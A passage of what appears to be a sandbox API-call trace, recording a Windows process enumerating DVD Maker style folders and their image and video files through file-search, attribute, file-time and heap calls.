ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 1 [0066.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5fc8 [0066.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc4b90 [0066.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0066.959] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 0 [0066.959] GetLastError () returned 0x12 [0066.959] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0066.959] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0066.959] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.959] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x0, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0x0, dwReserved1=0x0, cFileName="redmenu.png", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0304, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 0 [0066.960] GetLastError () returned 0x12 [0066.961] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.961] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0066.962] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbaf30) returned 1 [0066.962] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.962] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0066.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0066.962] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0066.962] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0066.963] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0066.963] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfc7298 [0066.963] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfc7298, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfc7298, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0066.964] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfc7298) returned 1 [0066.964] NtClose (Handle=0x148) returned 0x0 [0066.964] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.964] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0066.964] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.964] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0066.964] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0067.008] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.009] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0067.009] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.009] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.009] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.009] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.009] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.009] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0067.009] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.009] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc5fe8 [0067.009] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc4c98 [0067.009] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.009] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0067.009] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.009] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.009] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.009] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.009] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.009] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6008 [0067.009] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc4da0 [0067.009] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.009] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0067.009] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.009] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.010] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.010] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.010] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.010] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6028 [0067.010] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc4ea8 [0067.010] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.010] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0067.010] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.010] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.010] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.010] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, 